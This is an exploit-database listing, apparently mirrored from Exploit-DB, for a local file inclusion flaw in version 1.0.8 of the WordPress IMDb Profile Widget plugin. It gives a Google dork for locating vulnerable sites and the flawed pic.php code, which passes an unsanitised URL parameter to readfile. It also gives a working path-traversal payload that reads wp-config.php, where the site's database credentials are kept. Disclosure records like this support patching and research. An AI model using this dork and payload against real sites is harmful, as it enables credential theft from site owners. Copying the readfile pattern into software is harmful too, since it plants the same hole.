header-logo
Suggest Exploit
vendor:
IMDb Profile Widget
by:
CrashBandicot @DosPerl
7,5
CVSS
HIGH
Local File Inclusion
22
CWE
Product Name: IMDb Profile Widget
Affected Version From: 1.0.8
Affected Version To: 1.0.8
Patch Exists: YES
Related CWE: N/A
CPE: a:wordpress:wordpress_plugin:imdb_widget
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: MSWin32
2016

WordPress Plugin IMDb Profile Widget – Local File Inclusion

The Wordpress Plugin IMDb Profile Widget is vulnerable to Local File Inclusion. An attacker can exploit this vulnerability by sending a crafted HTTP request to the vulnerable pic.php file with the URL parameter set to a malicious file. This will allow the attacker to read the contents of the malicious file.

Mitigation:

The vendor should update the plugin to the latest version and ensure that user input is properly sanitized.
Source

Exploit-DB raw data:

# Exploit Title: Wordpress Plugin IMDb Profile Widget - Local File Inclusion
# Exploit Author: CrashBandicot @DosPerl
# Date: 2016-03-26
# Google Dork : inurl:/wp-content/plugins/imdb-widget
# Vendor Homepage: https://wordpress.org/plugins/imdb-widget/
# Tested on: MSWin32
# Version: 1.0.8

# Vuln file : pic.php

<?php

header( 'Content-Type: image/jpeg' );
readfile( $_GET["url"] );


# PoC : /wp-content/plugins/imdb-widget/pic.php?url=../../../wp-config.php
# Right click -> Save As -> rename pic.jpg in .txt and read file

# 26/03/2016 - Informed Vendor about Issue
# 27/03/2016 - Waiting Reply

Navigation

Suggest Exploit

Services By CQR